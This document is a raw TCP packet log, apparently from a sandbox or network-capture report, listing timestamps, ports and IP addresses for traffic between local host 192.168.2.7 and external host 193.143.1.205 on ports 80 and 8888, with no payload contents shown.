Jan 11, 2025 05:22:39.140377045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140389919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140393972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140403986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140409946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140415907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140429020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140431881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140458107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140966892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140979052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140990019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141001940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141026974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141053915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141114950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141133070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141144037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141161919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141199112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141268015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141279936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141289949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141302109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141313076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141314030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141324043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141335011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141346931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141360044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141366005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141371012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141383886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141395092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141406059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141415119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141418934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141432047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141448021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141448975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141459942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141472101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141479015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141484022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141495943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141506910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141508102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141520023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.141525984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.141557932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142016888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142059088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142097950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142110109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142119884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142131090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142141104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142148972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142159939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142164946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142172098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142179012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142185926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142220020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142266035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142278910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142287970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142298937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142311096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142316103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142327070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142328978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142338991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142350912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142355919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142362118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142386913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142405033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142421961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142433882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142443895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142455101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142466068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.142468929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.142493963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.148428917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.148442984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.148453951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.148464918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.148472071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.148473024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.148478985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.148485899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.148542881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.167927027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.167944908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.167958021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.168011904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.168052912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.168066025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.168076992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.168096066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.168104887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.168138981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.181652069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.184737921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184756994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184768915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184779882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184792042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184803009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184808016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.184814930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184827089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184832096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.184873104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.184890985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184910059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184921026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184931993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184942961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184952021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184962034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184973001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.184982061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185005903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185005903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185025930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185038090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185040951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185049057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185060978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185070992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185081959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185082912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185092926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185106039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185107946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185120106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185143948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185148954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185163021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185175896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185178995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185189009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185199022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185205936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185210943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185220957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185225010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185231924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185244083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185244083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185255051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185271978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185285091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185288906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185298920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185307026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185311079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185322046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185328007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185338974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185348988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185353041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185359955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185369015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185379028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185380936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185393095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185394049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185405016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185415030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185425043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185431957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185436010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185451031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185456991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185466051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185475111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185478926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185487032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185489893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185502052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185513020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185516119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185522079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185533047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185544014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185544014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185554981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185565948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185575962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185578108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185587883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185597897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185600996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185609102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185620070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185631037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185638905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185642958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185653925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185661077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185669899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185679913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185679913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185692072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185699940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185703993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185714960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185725927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185736895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.185751915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185751915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.185772896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.187259912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196295023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196305037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196316004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196327925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196351051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196388006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196427107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196444988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196456909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196466923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196475983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196506977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196507931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196520090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196544886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196597099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196609020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196619987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196630001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196640968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196640968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196650982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196660995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196662903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196691990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196707010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196758986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196772099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196783066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196794033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196804047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196815014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196815014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196827888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196835995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196870089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.196909904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.196948051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.217433929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217447996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217577934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217591047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217601061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217605114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.217613935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217628002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217638969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217639923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.217650890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217659950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.217663050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217677116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.217706919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.217749119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217761993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217772961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217808962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.217916012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.217957020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.235332966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.235347033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.235394955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.235481977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.235493898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.235505104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.235516071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.235528946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.235536098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.235574007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.249042988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.249068022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.249078035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.249097109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.249126911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.249200106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.249218941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.249231100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.249241114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.249252081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.249262094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.249283075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.270008087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270029068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270040989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270051956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270060062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270101070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270100117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.270119905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270133018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270143986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270148039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.270163059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270167112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.270174980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270184994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.270185947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270203114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270211935 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.270212889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270226002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270239115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.270258904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270277023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.270440102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270452976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270462990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270473003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.270478010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.270498037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.325637102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.693630934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.761248112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:40.006103039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:40.485708952 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:40.490767956 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:40.490840912 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:40.491070032 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:40.496176958 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:41.317244053 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:41.372695923 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:41.675657988 CET	49700	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
